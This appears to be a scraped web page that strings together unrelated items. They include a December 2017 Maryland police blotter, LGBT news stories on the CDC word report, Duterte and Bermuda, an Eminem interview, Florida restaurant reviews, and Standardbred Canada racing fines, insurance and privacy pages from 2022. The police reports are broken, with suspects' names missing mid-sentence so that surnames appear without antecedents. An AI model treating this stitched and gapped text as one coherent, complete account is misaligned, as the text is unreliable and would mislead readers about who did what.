Disclaimer: In the U.S.A., all persons accused of a crime by the State are presumed to be innocent until proven guilty in a court of law. See: so.md/presumed-innocence. Additionally, all of the information provided above is solely from the perspective of the respective law enforcement agency and does not provide any direct input from the accused or persons otherwise mentioned. You can find additional information about the case by searching the Maryland Judiciary Case Search Database using the accused's name and date of birth. The database is online at so.md/mdcasesearch . Persons named who have been found innocent or not guilty of all charges in the respective case, and/or have had the case ordered expunged by the court can have their name, age, and city redacted by following the process defined at so.md/expungeme.

(December 19, 2017)The Charles County Sheriff's Office released the following incident and arrest reports.DETECTIVES ARREST TWO SUSPECTS IN CONNECTION WITH STABBING: On December 7,, and, were arrested and charged in connection with a stabbing that occurred earlier this week near the intersection of Holly Tree Lane and Hollins Lane in Waldorf. On December 6 at 2:26 a.m., the suspectswho are known to the victimsbecame involved in an altercation, possibly over an alleged theft. During the altercation, the suspects produced a knife and stabbed the three victims, ages 18 to 20 years old. The victims were transported to various hospitals with injuries that were not life-threatening. Page and Clark were charged with attempted murder, first-degree assault, second-degree assault, reckless endangerment and other related charges. Detective J. Long is investigating.SUSPECT IN PEEPING TOM CASE APPREHENDED BY OFFICERS: On Dec. 7 at 10:21 p.m., officers responded to the 3200 block of Mattawoman Beantown Road in Waldorf for the report of someone turning doorknobs and peering in windows of a single family home. PFC C. Caywood arrived and spotted a male looking into the window of the house. The man saw the officer and fled through the woods. PFC Caywood provided a lookout, and the suspect was located by Officer B. Morrison in the parking lot of the Mattawoman Park and Ride. Further investigation showed the suspect had two electronic control devices (ECD), a knife, and pepper spray concealed in his socks., was arrested and charged with peeping tom, assault, attempted burglary, multiple counts of carrying a dangerous weapon, trespassing, and other related charges. Campbell is being held at the Charles County Detention Center with no bond. There have been no similar reports in the area, but anyone with additional information is asked to call Det. G. Higgs at (301) 609-6498.DETECTIVES ARREST SUSPECT IN MURDER CASE ON HOLLY AVENUE: On December 16, Charles County Sheriff's detectives arrested, in connection with the murder of Cameron Marcel Townsend, 18, of Brandywine, who was shot and killed on December 14 in the intersection of Holly Avenue and Spruce Street in Waldorf. As detectives continue to investigate, a clear motive has not been established nor is it known why the victim and suspect were in that area. Investigation did reveal the victim and suspect knew each other. Williams was charged with first-degree murder, second-degree murder and other related charges. Anyone with additional information is asked to call Det. J. Long at (301) 609-6502. Callers wishing to remain anonymous may contact Crime Solvers at 1-866-411-TIPS.
ANNAPOLIS

(December 19, 2017)The Maryland Natural Resources Police (NRP) today released the following incident and arrest reports. NRP is the enforcement arm of the Department of Natural Resources (DNR). NRP is the only police force aside from the Maryland State Police that has statewide jurisdiction.A St. Mary's County man has been charged with illegally selling oysters online and failing to pay the state fee assessed to all commercial harvesting operations.Matthew Wayne Morgan, 36, of Mechanicsville, received citations Nov. 22 after an online investigation turned up ads on social media and websites offering oysters for sale. Under state law, an unlicensed person is allowed to harvest one bushel of oysters a day for personal consumption and may not list them for sale.Morgan is scheduled to appear in St. Mary's County District Court Feb. 18 on charges of failing to obtain a Tidal Fishing License and failing to pay the state oyster surcharge. Each violation carries a maximum fine of $1,000.A waterman was charged with illegally harvesting oysters and ordered to return them to the area on the St. Mary's River where they were removed.Devin Ellis Benoit, 20, of Piney Point, was stopped by officers on routine patrol Nov. 17 as he returned to the dock after power dredging a bar. None of the 12 bushels aboard his vessel had been tagged, as required by law.Officers measured two bushels and found they contained 15 and 21 percent undersized oysters, well above the 5 percent tolerance allowed under state law. Benoit was ordered to return to the oyster bar to measure the rest of his harvest and put the undersized oysters back in the water.Benoit was charged with two counts of possessing unmeasured and undersized oysters and one count of failing to tag his oysters before leaving the bar. Each charge carries a maximum fine of $1,000. He is scheduled to appear in St. Mary's County District Court Feb. 1.A St. Mary's County man has been charged with multiple counts of illegal hunting after police investigated an incident in Charles County.Russell Wayne Weekley, 56, of Mechanicsville, received citations Nov. 20 for hunting on private land without written permission, failing to produce a hunting license, failing to tag a deer, and removing the head, hide or body parts before check in.An officer was alerted by an off-duty Charles County deputy sheriff of a trespassing and illegal hunting complaint on Piney Church Road. The officer approached Weekley, riding a bicycle, as he returned to his truck with hunting gear. Weekly acknowledged trespassing, but said he was scouting for deer, not hunting.After Weekley left, the officer walked a mile-and-a-quarter stretch of the wood line and found four legs and two back straps freshly removed from a deer. A few hundred yards away, the officer found a bow and arrows, a backpack, a collapsible tree stand and a duffel bag stuffed with hunting clothes.The officer contacted Weekley, who acknowledged the gear was his and that he intended to return for it and the deer meat.Weekley is scheduled to appear in Charles County District Court Feb. 21. The maximum fine for each charge is $1,500.
(EDGE) Eminem's new album "Revival" dropped last week and in a new interview with Vulture, the rapper discusses being labeled anti-gay and dating - on Grindr.

Towards the end of the interview, Vulture writer David Marchese asks Eminem: "I know this is a clunky segue, but you've always been careful not to offend on the subject of race. Yet on the subjects of women or gay people - there's the Ken Kaniff character you used to have on your albums - you clearly weren't concerned at all about being offensive. How do you calibrate who you're okay with risking offending?"

According to Wikia's Eminem site, Ken Kaniff is a "bisexual, adult male still attending high school. Ken is portrayed as having an expansive imagination coupled alongside a distinctly psychopathic mind state which rationalizes both Pedophilia and an irrational hate for minor authority figures."

In response, Eminem explained his stance.

"The first time I got a taste of being called anti-gay was on

'My Name Is' when I said, 'My English teacher wanted to have sex in junior high / The only problem was my English teacher was a guy,' " the 45-year-old musician told Vulture. "All I was saying was I don't swing that way. So when I started getting flack for it, I thought, 'Alright, you people think I'm homophobic? Watch this.' "

"Hence the Ken Kaniff character and all that stuff. I was trying to push the buttons of people who were calling me something that I wasn't," he added. "The honest-to-God truth is that none of that matters to me: I have no issue with someone's sexuality, religion, race, none of that. Anyone who's followed my music knows I'm against bullies - that's why I hate that fucking bully Trump - and I hate the idea that a kid who's gay might get shit for it."

Though Eminem has stated he doesn't have a problem with LGBTQ people he was using gay slurs in his music as recent as 2014, Vulture points out.

Elsewhere in the interview, the rapper opens up a bit about his dating life.

"It's tough. Since my divorce I've had a few dates, and nothing's panned out in a way that I wanted to make it public," he said of dating. "Dating's just not where I'm at lately."

"When you were dating, how'd you meet people? Tinder?" Marchese asks.

"Yeah, Tinder," Eminem responds.

"Really?" the reporter asks.

"And Grindr. I also used to go to strip clubs," Eminem responded, laughing.
The best restaurants in South Florida are often to be found tucked into the corner of a grocery store.

Im not talking about the hot food bar at Whole Foods, Im talking about little hole-in-the-wall ethnic groceries. Thats not unusual throughout much of the rest of the world. Elsewhere most grocery stores offer a cafe of some kind and until the 1950s that was true in the U.S. as well. However, the advent of the supermarket chains did away with the grocery/cafe.

Psst! Lean in closer, I dont want anyone else to hear this. I almost hate to tell you about Cucina Caruso. Its managed to be a well-kept secret for decades and I really dont want to share this hidden gem. I know that once word gets out, therell be a wait for the limited number of tables there are and the friendly staff will become over-worked and, well you know how it goes. So, lets just keep this between us.

Cucina Caruso is an Italian deli/grocery store where you can pick up anything from a few meatballs or a pizza to a full meal to take home. There is also a nice variety of imported and domestic Italian food products. But the real reason folks come here is for the little cafe set up on one side of the store. Pulling into the non-descript strip-mall youd have no inkling as to the culinary treasures to be found inside, and those treasures are only matched by the charming staff, who all exhibit a joy and pride that is infectious.

You can stop by during the day for a light pick me up, say an espresso and zeppole (Italian doughnuts), of a slice and a soda. But the regulars know that the best deal is to be had weekdays during lunch and Thursday nights. Thats when the staff puts forth a buffet of some of their favorite dishes. Head up to the deli counter, tell them what you want and they pile your plate high with favorites, which they then take back to the kitchen to heat up and then deliver to your table.

On the night of our visit youd have thought there was a royalty convention in town; the place was packed with queens all enjoying antipasti such as Caprese, Greek and pasta salads, caponata, white beans, escarole, bruschetta and assorted vegetables, while being chatted up by the attractive and attentive staff. My hubby chose a slice of pizza as an appetizer and enjoyed it so much he had two more slices for dinner. The others in our party marveled over chicken Milanese as well as a variety of pasta options, traditional meatballs and a version made with ground chicken served in Marsala sauce, incredible 4-inch thick lasagna, as well as sausage and peppers and onions, eggplant Parmigiana and filet of sole. And, those are just the dishes we were able to sample; there were dozens of others that as tempted as we were, we just didnt have room for. Desserts are not included, but are available at an additional charge. Thats not bad for $15.99 for dinner, $ 11.99 for lunch. If youd prefer something a little less gut-busting, a full menu, from breakfast through dinner, is also offered. Wine, beer and soft drinks are also available.

Cucina Caruso Italian Market

4165 N Dixie Hwy., Oakland Park

954-630-8855

CucinaCarusoItalianMarket.com

While few feature the hospitality and variety available at Carusos, there are a number of other ethnic markets in the area that also feature cafe service.

Tortilleria Mexicana

4115 N Dixie Hwy., Oakland Park

954-563-2503

Located in the same strip mall as Cucina Caruso, Tortilleria Mexicana may lack some of the charm and polish, but it dishes up good authentic Mexican fare, with tamales and tortillas made in house. Latin American pastries and groceries are also options. If youre looking for decor, theres a large number of options; from pictures of the various popes to mariachi hats and maracas.

Sasaya Japanese Market

1956 E. Sunrise, Fort Lauderdale

954-761-8010

SasayaJapanese.com

This tiny storefront offers a good selection of Japanese noodles, sauces and accompaniments as well as cooking utensils. The sushi bar in the back dishes up the freshest fish in town.

Fernandas International Market & Vintage Winery

3045 N. Federal, Fort Lauderdale

954-566-3104

Fernandasmkt.com

A nice selection of European groceries, a vast wine collection and great deli food, make this a must stop. One of the most polished and largest of the market/restaurants in town.

Greek Pastries & Deli

4701 N. Federal, Fort Lauderdale

954-776-0020

GreekPastriesFTL.com

This is more of a Greek deli than a grocery market, but there are a few Greek specialty items available and the staff is so friendly and the pastries so divine, that were including them anyway. Its also some of the best Greek food in town and they have a small seating area. Only open for breakfast and lunch.
Gay porn site Kink.com will have to defend itself in court after being sued by multiple actors who claimed they got HIV while working for the site.

Three actors sued Kink.com CEO Peter Acworth in 2014 after they said they contracted the sexually transmitted infection while filming, according to Gay Star News.

Bound in Public is a division of Kink.com gay porn section. The videos included actors having sex with other actors and members of the public while in various states of submission.

One incident cited in 2013 claims that an actor was forced to have unprotected oral sex with multiple untested members of the general public. The actor said he had a cut in his mouth at the time of filming, and found out he had HIV when he was tested two weeks later.

The Armory, the San Francisco offices where the scenes in question were filmed, is now being used as administrative offices, according to Acworth. Kink.com has not commented on the accusations.

Kink.com attorney Karen Tynan said in 2015 that the claims are sensational and should not be trusted.

None of these claims were made at the time of the shoots, and are easily refuted both by detailed shoot records, our testing protocols, and the video footage itself, Tynan said to the Courthouse News.
(WB) A recent report in the Washington Post that the Centers for Disease Control is barred from using certain words like fetus, diversity and transgender in budget documents alarmed LGBT and HIV/AIDS health experts, although the agency disputes the characterization of the story.

In an article published Friday, the Post quoted an anonymous analyst who took part in a meeting in Atlanta on Thursday as saying CDC was forbidden to use seven words in documents for the fiscal year 2018 budget request. Those words are vulnerable, entitlement, diversity, transgender, fetus, evidence-based and science-based.

The reported ban on those words ignited a firestorm among LGBT advocates in particular of the reported ban on the word transgender. The prohibition on the words diversity, evidence-based and science-based also caused concern because of the implications of those words for the LGBT community.

In the view of many LGBT advocates, the report reinforced the widely held belief the Trump administration is seeking to eliminate any mention of LGBT people from public life, which includes efforts this year to eliminate LGBT questions from federal surveys. HHS ended up reinstating a sexual orientation question to a federal health survey for older Americans, but kept out the gender identity question.

Daniel Bruner, senior director of policy for the D.C.-based Whitman-Walker Clinic, expressed uncertainty about the report on the basis the administration is sending mixed messages, but said were very concerned.

The CDC is critical for HIV prevention and treatment issues and one of the most heavily affected or really devastated communities by HIV is transgender women, and theres growing concern about how to address prevention needs in particular of transgender women and the realization that there needs to be a lot more research and a lot more funding going into that community, Bruner said. For the CDC to be told when youre submitting budget documents, dont talk about transgender people, or even use the term is potentially horrifying.

Bruner pointed to the CDCs own estimates on the impact of HIV on transgender women. The U.S. agency cites a 2013 National Institute for Health report that found an estimated 22 percent of transgender women have HIV.

The reported ban on the use of the word diversity is also concerning, Bruner said, because it would mark a reversal from the Obama administration when there was kind of a growing realization of the federal government to put a lot more effort and a lot more research into health inequities that affect particular communitieslike the LGBT community.

Carl Schmid, deputy director of the AIDS Institute, said a major concern for HIV/AIDS policy advocates is the reported ban on use of evidence-based and science-based in budget documents.

Everything that we do is evidence-based, Schmid said. We treat people for HIV, we test people for HIV. How frequently and the messages for sex-ed are all evidence-based. Why do we start treatment early? Why do we get people tested? Its all evidence-based. And condoms. Everything that we do is scientific- and evidence-based.

Asked what programs in particular would be imperiled if CDC was unable to use the reportedly banned words, Bruner said, at this point we dont know enough, but cited programs that focus on HIV and transgender women as well as programs studying health inequities among LGBT people.

Just as a general matter, when you have the administration telling one of its chief scientific agencies dont use the words evidence-based or science-based, that would really be of great concern, Bruner added.

But CDC is disputing the account of banned words at the agency in budget documents or in any other capacity.

Brenda Fitzgerald, director for the Centers for Disease Control, said in a statement there are no banned, prohibited or forbidden words at the CDC  period.

I want to emphasize to anyone who may believe otherwise that we continue to encourage open dialogue about all of the important public health work we do, Fitzgerald said. CDC has a longstanding history of making public health and budget decisions that are based on the best available science and data that benefits all Americans  and we will continue to do so.

Fitzgerald added confusion arose from a staff-level discussion at a routine meeting about how to present CDCs budget, which she said was never intended as overall guidance for how we describe and conduct CDCs work.

Based on conversations he had with Trump administration officials, Schmid said he thinks the seven words might not be banned, but the CDC has guidance in place not to use them.

I dont think these words are banned, Schmid said. I think people are saying that could be a mischaracterization. I think it was guidance and suggestions, and I think people took it too far, but I think its good that the story got out there and theres a reason why people are acting this way because there has been some editing of documents.

An analysis by the AIDS Institute found a distinct difference in word usage in budget documents in FY-17, the final budget request for the Obama administration, and FY-18, an early budget request of the Trump years.

The word transgender came up 10 times in Obama-era documents, but only once in the Trump era. Additionally, the word diversity came up seven times in Obama documents, but only two times in Trump documents. The phrase evidence-based came up 119 times in the Obama documents, but only 23 times in the Trump documents.

Nothing has impacted the programs, Schmid said. Theyre still doing transgender prevention programs. That has not changed.

Whats the reasoning for the guidance against certain words in budget documents? Schmid cited speculation they were edited out to appease a Republican-controlled Congress.

Schmid said he was cautious about that reasoning because he doesnt understand why Republicans would object to evidence-based and science-based terminology or resist HIV funding for transgender people because theyre the most in need of treatment.

It comes back to the whole sex ed controversy and the whole abstinence-only until marriage, Schmid said. That seems to be an area where the debate over science-based and evidence has been up in the air, debated. Its not that we debate it, but the politicos debate it.

Schmid also said part of the issue might be social conservatives Trump appointed to administer HHS. Among them is Roger Severino, a former Heritage Foundation scholar who once criticized transgender healthcare, but is now in charge of defending it as director of the Office of Civil Rights.

The White House referred a request for comment to the Department of Health & Human Services, which didnt respond. The Office of Management & Budget, which prepares budget documents, didnt respond to a request to comment on whether there was any administration-wide guidance on banned words.

Sarah Kate Ellis, CEO of the LGBT media watchdog GLAAD, said in a statement OMB should follow suit and deny the report to make clear banned words arent part of an administration-wide policy.

The Office of Management & Budget owes this country full transparency about their alleged promotion of dangerous censorship that harkens back to the days that HIV and AIDS research and funding were restricted with deadly effects, Ellis said. We cannot and will not allow hateful ideology, bigotry and personal bias determine the health can wellness of the transgender community  which has been serially targeted for erasure under the Trump administration.

 Chris Johnson, Washington Blade courtesy of the National LGBTQ Media Association.
A GLAAD study of Spanish-language television series found there is still a lack of LGBT characters in Hispanic television.

The second annual study, titled Still Invisible, found that only 19 out of 698 roles had an LGBT character on Telemundo, UniMas and Univision, according to the Advocate. The lack of roles on the three biggest Spanish language channels caused GLAAD President Sarah Kate Ellis to call for change in the amount of diversity offered.

"An estimated 21 [percent] of the 1.4 million transgender people in the United States are Latinx. LGBTQ people of color are more likely to be raising children, Ellis said. The Spanish-language television industry is thus not reflecting back the realities of a sizeable portion of its audience."

The report also found that these characters were not usually being placed in main roles. Five of the characters were for comic relief, four were in the closet and six were killed off (though not all specifically due to being LGBT).

It remains troubling that producers cannot imagine a way for LGBTQ characters to have successful relationships, families and/or success in business the way the heterosexual and cisgender characters do in the same programs, the report said. Writers seemed to face challenges when creating LGBTQ characters that audiences could relate to and root for, especially since more and more of the stories occurred in the world of drug trafficking: four of the LGBTQ characters were villains who worked for criminal organizations.
(WB) The president of the Philippines on Sunday said he supports marriage rights for same-sex couples.

The Philippine Star newspaper reported Rodrigo Duterte told members of the LGBT community in Davao City on the island of Mindanao that he wants same-sex marriage in the Philippines, but well have to change the law.

We can change the law, Duterte reportedly said.

If that is the trend of the modern times, if that will add to your happiness, I am for it, he added.

The Philippine Star reported Duterte also said he would name LGBT Filipinos to his Cabinet.

I dont have any problem with that, said Duterte, according to the Philippine Star. Now find me the brightest here in the Philippines. Give me a bright person. He might be gay, he might be lesbian. Id like to nominate or appoint somebody upon the nomination.

The Philippine Star reported Duterte in 2015 told a gay television host that same-sex marriage is good. The newspaper noted Duterte told a group of Filipinos with whom he was meeting in Myanmar that gays and lesbians should not have marriage rights in the Philippines, in part, because Western culture does not apply to us and the country is predominantly Roman Catholic.

Dindi Tan, secretary-general of LGBT Pilipinas, an advocacy group that is associated with the Mayor Rodrigo Roa Duterte National Executive Coordinating Committee (MRRD-NECC), which supports Dutertes agenda, told the Washington Blade on Monday that she welcomes Dutertes latest comments on marriage.

We are grateful for having a president who has been the very first president in Philippine history to have publicly addressed an LGBT gathering pledging among others, the possibility of adopting same-sex marriage in the county and respect for LGBT rights, said Tan.

Tan welcomed with optimism Dutertes announcement that he will create a commission to oversee LGBT-specific issues in the Philippines.

LGBT Pilipinas-MRRD NECC, being the largest network of LGBT organizations in the country, is hopeful that this plan gets to see the light of day during the administration of President Digong, Tan told the Blade, referring to Duterte by his nickname.

Duterte, who is the former mayor of Davao City, has been president of the Philippines since June 2016.

The State Department last summer criticized Duterte for using an anti-gay slur to insult then-U.S. Ambassador to the Philippines Philip Goldberg. Human rights advocates have sharply criticized Duterte over his ongoing crackdown against drugs and his alleged ties to death squads when he was the mayor of Davao City.

White House Press Secretary Sarah Huckabee Sanders said President Trump and Duterte briefly discussed human rights last month when they met in the Philippine capital of Manila during a meeting of the Association of Southeast Asian Nations. A spokesperson for the Philippine president told CNN that human rights did not arise during their meeting.

 Michael K. Lavers, Washington Blade courtesy of the National LGBTQ Media Association.
(WB) A spokesperson for the British Foreign Office on Monday said a bill that would rescind marriage rights for same-sex couples in Bermuda is a matter for the island territorys government.

The U.K. government is a proud supporter of LGBT rights and continues to support same-sex marriage, said the spokesperson in a statement sent to the Washington Blade. While the U.K. government is disappointed with the implications of this bill, this is a matter for the Bermuda government acting within the terms of the Bermuda Constitution and in accordance with international law.

The Bermuda House of Representatives earlier this month approved the Domestic Partnership Bill, which would allow same-sex couples to enter into domestic partnerships as opposed to get married. The measure passed in the Bermuda Senate on Dec. 13 by an 8-3 vote margin.

The Bermuda Tourism Authority in a letter to senators said the bill poses an unnecessary threat to the success of our tourism industry. Activists and their supporters have urged Gov. John Rankin to refuse to sign it, while others have called upon British Foreign Secretary Boris Johnson to intervene.

More than 60 percent of Bermuda voters in 2016 rejected marriage and civil unions for gays and lesbians in a non-binding referendum. Same-sex couples have nevertheless been able to marry in the territory since Charles-Etta Simmons, a judge on the Bermuda Supreme Court, ruled in favor of the issue.

Bermuda would become the first government in the world outside the U.S. to rescind marriage rights for same-sex couples if Rankin signs the bill.

Same-sex couples had already legally married in California when voters in 2008 approved Proposition 8, which banned them from doing so. Same-sex couples were once again able to legally marry in the state after the U.S. Supreme Court in 2013 ruled Prop 8 supporters did not have legal standing to appeal previous rulings against them.

 Michael K. Lavers, Washington Blade courtesy of the National LGBTQ Media Association.
The following fines and suspensions includes information provided to Standardbred Canada by provincial racing commissions. Standardbred Canada assumes no liability for errors or omissions. It is the policy of Standardbred Canada to record the results of unsuccessful appeals upon receiving notice thereof from the Provincial Racing Commission with which an appeal is filed. Any fine or suspension currently under appeal will NOT be shown. This website will list only fines and suspensions issued within the preceding 12 month period.

For fines, suspensions and rulings from other North American jurisdictions, visit the

USTA.

To view the Fines Archive, click here. To view the Suspended Horse List, click here.

Current Week MCKELLAR,DAVID R BC - FAILING TO KEEP BOTH FEET IN THE STIRRUPS Commission Rule Number : 248 (1) (S) Date Issued : 14-Nov-2022 Total Due : 50.00 Violation Occurred : Race 5 at FRASER DOWNS on 13-Nov-2022 horse SAY IT ALL SPORT REIBELING,KYLE D AGCO - DRIVER INTERFERENCE VIOLATION Commission Rule Number : 22.05.01 A Date Issued : 14-Nov-2022 Violation Occurred : Race 3 at WESTERN FAIR RACEWAY on 14-Nov-2022 horse PRINCE WASATROTTER Suspended From 19-Nov-2022 To 21-Nov-2022 (Driving Suspension) WATT,BRADLEY R BC - GAMING CONTROL ACT Commission Rule Number : SECTION 50 (2) (A) (I) Date Issued : 14-Nov-2022 Total Due : 100.00 Violation Occurred : at FRASER DOWNS HOERDT,KELLY O BC - WHIPPING VIOLATION Commission Rule Number : 249 (1) (B) Date Issued : 13-Nov-2022 Total Due : 100.00 Violation Occurred : Race 8 at FRASER DOWNS on 31-Oct-2022 horse OUTLAW ENDOFANERA MUNRO,GREGORY T APHRC - LEAVING THE COURSE GOING INSIDE 3 CONSECUTIVE PYLONS Commission Rule Number : 332(2) & 335 Date Issued : 13-Nov-2022 Total Due : 25.00 Violation Occurred : Race 1 at TRURO RACEWAY on 06-Nov-2022 horse COOT COBBLER WHITE,MARGARET S BC - LATE FOR LASIX RESULTING IN AN UNNECESSARY SCRATCH Commission Rule Number : 47 (1) (B) Date Issued : 13-Nov-2022 Total Due : 200.00 Violation Occurred : Race 8 at FRASER DOWNS on 07-Nov-2022 horse OUTLAW DUKE WORTHY DOWNEY,MITCHELL M APHRC - INTERFERENCE VIOLATION FINISHED 3RD PLACED 5TH Commission Rule Number : 303-1,2,5,9 Date Issued : 12-Nov-2022 Violation Occurred : Race 5 at EXHIBITION PARK RACEWAY on 03-Sep-2022 horse BIG TIME BRAWLER Suspended From 20-Nov-2022 To 20-Nov-2022 (Driving Suspension) MACDONALD,JAMES A AGCO - ALLOWING A HORSE TO PASS NEEDLESSLY ON THE INSIDE Commission Rule Number : 22.05.01(E) Date Issued : 12-Nov-2022 Total Due : 200.00 Violation Occurred : Race 3 at WOODBINE MOHAWK PARK on 12-Nov-2022 horse BETTERHAVEMYMONEY PIEDALUE,PIERRE QUE - POSITIVE TEST (46) TRAINERS RESPONSIBILITY Commission Rule Number : 46AL2 Date Issued : 30-Oct-2022 Violation Occurred : Race 4 at HIPPODROME 3R on 02-Oct-2022 horse SAGALI Suspended From 09-Nov-2022 To 08-Dec-2022 (Full Suspension)

Current Horse Suspensions for Positive Tests Outstanding as of November 17, 2022

AGCO - CHERIE AMOUR P-TEST SUSP 14-Nov-2022 to 13-Dec-2022 AGCO - LAND OF ROYALTY P-TEST SUSP 08-Nov-2022 to 07-Dec-2022 QC - SAGALI P-TEST SUSP 23-Oct-2022 to 22-Nov-2022 AGCO - SEA LAIRD P-TEST SUSP 20-Oct-2022 to 18-Nov-2022 AGCO - WOOD SHED P-TEST SUSP 25-Oct-2022 to 23-Nov-2022 AGCO - YS MATHIS P-TEST SUSP 03-Nov-2022 to 02-Dec-2022 Total: 6
Protect yourself and spouse against the unexpected

If you are a member of Standardbred Canada, you and your spouse can obtain valuable financial protection at affordable group rates. Plans providing protection against accidents, illness and death have been specifically designed to meet your various needs. For more information, please contact:

Denise Kunz: (905) 858-3060 ext. 240 -- E-Mail: [email protected]

Life Insurance protection

Coverage is available up to $250,000 for members and spouses up to age 65 and has recently been enhanced to include coverage of up to $125,000 for members between the ages of 65 and 70. Includes Disability Waiver of Premium.

English Application (PDF) English Brochure (PDF) French Application (PDF) French Brochure (PDF)

Horsemen's liability program

Should your horse injure someone or damage property of others, then you would be covered for damage, as the court would determine, up to $1,000,000. In addition, all legal costs incurred to defend you from a third party claim (lawsuit) are paid. The plan is in effect 24 hours a day in any location in North America.

Download application (PDF)

Accident insurance for drivers, trainers, grooms, official

If you are a Driver, Trainer, Groom or Official, under age 70, you are eligible for three kinds of insurance for horse-related accidents when you become a paid-up member of Standardbred Canada. Participation in the plan is mandatory and the cost will be reflected in your annual membership renewal. (updated amounts for 2009)

English Download brochure (PDF) French Download brochure (PDF)

For the Members Accident Claim & Medical Report form, click here.
The O'Brien Awards celebrate the absolute best in harness racing over a given year. They are the highest honour the sport bestows upon its heroes in this country. The following explains exactly how the voters arrive at the nominees and eventual winners of the coveted O'Brien trophy.

Who votes for the O'Brien Awards? Every media person across Canada who covers harness racing on a regular basis receives a ballot, this includes writers for the various trade publications as well as those in print, radio and television. All Canadian race secretaries and track publicists also participate in the voting.

The voters' list is vigorously scrutinized each year with names added and deleted when necessary.

A comprehensive and detailed ballot package is assembled for each voter and mailed to them with sufficient time for the voter to return their completed ballot to the SC offices by fax, e-mail, or by mail. If the fax machine is used, it is a secure one, meaning that only the official scrutineers who actually count the ballots, and therefore know the ultimate outcome, have access to this machine. This also ensures that none go astray.

The ballot package is subdivided by category. We provide listings of the top 20 Canadian registered horses (and add some that aren't Canadian registered but still merit the voters' consideration) in each of the 12 horse categories. We then provide racelines for the voting year for the top six horses (and sometimes more if warranted) in each division.

For horses to be eligible for consideration for an O'Brien Award, it must have made a minimum of three (3) starts in Canada between January 1st and November 30th. The type of race (stakes, overnight) is irrelevant and schooling and qualifying races do not represent a start. (Breeders Crown races are excluded)

In the trainer category, we provide statistics on the top 50 Canadian trainers by money and wins.

In the driver of the year category, we provide listings of the top Canadian and North American drivers both by money and wins.

Each voter is strongly advised that the information provided to them is to be used as a reference guide only. The voters' mandate is to vote for the horse or person in each division they felt made the greatest contribution to Canadian harness racing over the past season. It's important to keep in mind that when all is said and done, it is still a subjective process, as each voter makes his or her selections based on their individual opinion.

Once the votes have been tabulated, the names of the nominees are released and the winners are announced at the annual O'Brien awards. Prior to the night of the awards, the winners' identity are kept in strictest confidence.
Privacy Agreement

When you apply for, or renew, your membership with Standardbred Canada, you agree that:

1. We may collect, use and disclose personal information about you for purposes related to Standardbred Canadas objects and mandate, and in particular:

a) To create a record of our membership and licensees.

b) To interchange information with the United States Trotting Association, provincial and state racing commissions (or their equivalent), horsemens associations, racetracks or racing officials.

c) To create, update and maintain breeding and ownership records for Standardbred Horses and, for that purpose, to interchange information with other standardbred breed associations throughout the world.

d) To operate the Membership Registry for Standardbred horses in Canada.

e) To create, update and maintain records and statistics regarding the racing of standardbred horses and, for that purpose, to interchange information with other horse racing organizations throughout the world.

f) To provide access to records and statistics regarding the breeding and racing of standardbred horses to persons or businesses with an interest in that information, with or without charging a fee.

g) To publish records of fines and suspensions as a matter of public interest.

h) To otherwise ensure your compliance with the by-laws and regulations of Standardbred Canada, including the rules of standardbred racing.

i) To meet our legal and regulatory requirements.

j) To investigate and assist in the resolution of insurance claims.

2. Subject to obtaining your approval, we may use and disclose your personal information to persons who have an interest in providing products or services to you. If you give your consent, you may, on reasonable notice, revoke that consent thereafter.

3. We may keep information about you in our records for as long as it is needed for the purposes mentioned above, even if you cease to be a member.

4. If any personal information changes or becomes inaccurate or out of date, you will tell us so that we can amend our records. You may in writing, request details of your personal information in our records.

5. We have designated a Privacy Officer to deal with questions, complaints or concerns regarding the collection, use and disclosure of personal information.

Privacy Statement

In the course of discharging its mandate with respect to the breeding, ownership and racing of standardbred horses, Standardbred Canada collects, uses and discloses information personal to its members. This information is essential to the ongoing process of maintaining records that are vital to the industry. Because of the nature of the industry, the involvement of different regulatory bodies and the aspect of wagering, it is necessary that information regarding the breeding, ownership and racing of standardbred horses be accessible to the public and exchanged with other industry organizations that have a legitimate interest to its disclosure. Therefore, persons who participate in the industry are deemed to have consented to the collection and use of this information.

Standardbred Canada exchanges information with the United States Trotting Association and other breed organizations throughout the world. It also provides information in its database, including race results, industry statistics and records, to regulatory bodies (including provincial and state racing commissions or their equivalent) industry organizations, racetracks and racing officials.

Standardbred Canada also publishes notices of fines and suspensions as a matter of public interest.

Standardbred Canada is a non-profit organization and, in order to defray its costs of operation including the compiling and dissemination of these industry statistics and records, Standardbred Canada charges fees to various persons who access its database. In particular, fees are paid by certain businesses and individual users to access race entries, results and statistics relevant to wagering on Standardbred racing, as well as breeding and pedigree records which are relevant to the breeding of horses and the development of the standardbred breed.

It is, however, the policy of Standardbred Canada to preserve the confidentiality of personal information, except when disclosure of that information is reasonably necessary in the fulfillment of its mandate.

Standardbred Canada often receives inquiries from members, and other interested parties, including commercial interests who wish to provide goods and services, for contact information about its members, including telephone numbers or addresses. When responding to such inquiries is not directly related to Standardbred Canadas mandate, members are entitled to control the release of information and specific consent is required.
Standardbred Canada's Nurse Mare Program is designed to assist in matching orphaned or rejected foals with nurse mares, and now the process is even easier. Breeders who have a nurse mare (a mare who has just lost a foal) that could be matched with an orphan foal, or a foal that requires a nurse mare, are asked to post detailed information in the comments section below.

To post your mare/foal on the registry, the following information is needed:

NEED A NURSE MARE or HAVE A NURSE MARE

Your name/farm

Location of mare/foal (city/prov)

Telephone number(s)

Email address

Any other pertinent information (i.e. when foaled, frozen colostrum available etc.)

DIRECTIONS FOR POSTING YOUR MARE/FOAL ON THIS PAGE:

Please post below or inform Barb Wilson once your mare/foal has been matched so the registry can be updated. Postings will be monitored and published for one week if SC is not notified of a match. You must "log in" to the SC website (click on the red button at the top of the website). If you do not already have an online account you need to create one. Click on "create new account" and fill in the information.

If you prefer to register your mare/foal directly with SC, during business hours please contact:

The following individuals have also offered to help with the program in their vicinities:

Contact: Betty Gregan Prince Edward Island Phone: (902) 569-4504 (h) or (902) 566-0912 (w) Contact: Jack McNiven Western Ontario Phone: (519) 421-8104 Contact: Monalisa Pagliericci Eastern Townships Phone: (450) 248-2209 Contact: Alain Veilleux North-Eastern Quebec Phone: (450) 794-2143/779-1821 Contact: Alain Vailleres Quebec City Region Phone: (418) 884-3372 Contact: Harness Racing BC - Diane Pennington British Columbia Phone: (604) 574-5558

Please do not post anything other than mares or orphaned/rejected foals on this web page. This program is designed to support breeders during the foaling season, please respect the sensitivity of this matter. Standardbred Canada is not responsible for the placement or care of mares or foals from this volunteer program. Please use discretion when accepting a mare or foal from an unknown source.
